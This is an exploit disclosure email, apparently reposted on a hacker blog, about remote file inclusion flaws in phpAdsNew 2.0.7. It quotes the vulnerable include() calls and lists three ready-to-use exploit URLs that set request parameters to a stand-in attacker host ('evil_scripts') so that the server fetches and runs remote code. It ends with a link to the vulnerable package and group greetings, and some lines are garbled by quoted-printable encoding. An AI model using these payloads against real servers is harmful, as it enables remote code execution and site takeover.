H4x0r's Blog

From: "mr alkomandoz" <k3g@hackermail.com.>
To: str0ke@milw0rm.com
Date: Sun, 21 Jan 2007 02:22:04 +0800
Subject: phpAdsNew 2.0.7 Remote File Include
X-Originating-Ip: 196.218.143.230
X-Originating-Server: ws4-4.us4.outblaze.com
Message-Id: <20070120182204.92BF0B0FEF@ws4-4.us4.outblaze.com.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

-----------------------------------------------

phpAdsNew 2.0.7 Remote File Include

-----------------------------------------------

Author: Alk()mand()z

-----------------------------------------------
=20
Vuln Code:

include_once ($phpAds_geoPlugin);

.......................

function phpAds_ReportGetPluginInfo($filename)
{
include ($filename);
return ($plugin_info_function());
..........................

include ($phpAds_config['my_footer']);

-----------------------------------------------

3xplo!t:

phpAdsNew-2.0.7/libraries/lib-remotehost.inc?phpAds_geoPlugin=3Dhttp://evil=
_scripts?

phpAdsNew-2.0.7/admin/report-index?filename=3Dhttp://evil_scripts?

phpAdsNew-2.0.7/admin/lib-gui.inc?$phpAds_config['my_footer']=3Dhttp://evil=
_scripts?

-----------------------------------------------

download: http://switch.dl.sourceforge.net/sourceforge/phpadsnew/phpAdsNew=
-2.0.7.zip

-----------------------------------------------

Greetz: KaBaRa, SpY0zErO, aG-SpIdEr - TOoOoFa -LoGiC-BoMb - MiRo-TiGeR

SpeciaL GreeTz : AsB-MaY-GrOuPs & A-S-T -Team

#######################=
############################=20
=20=20=20=20=20=20=20=20=20=20
AsB-MaT.NeT & D4eG.OrG
#############################=
######################

--=20
_______________________________________________
Get your free email from http://www.hackermail.com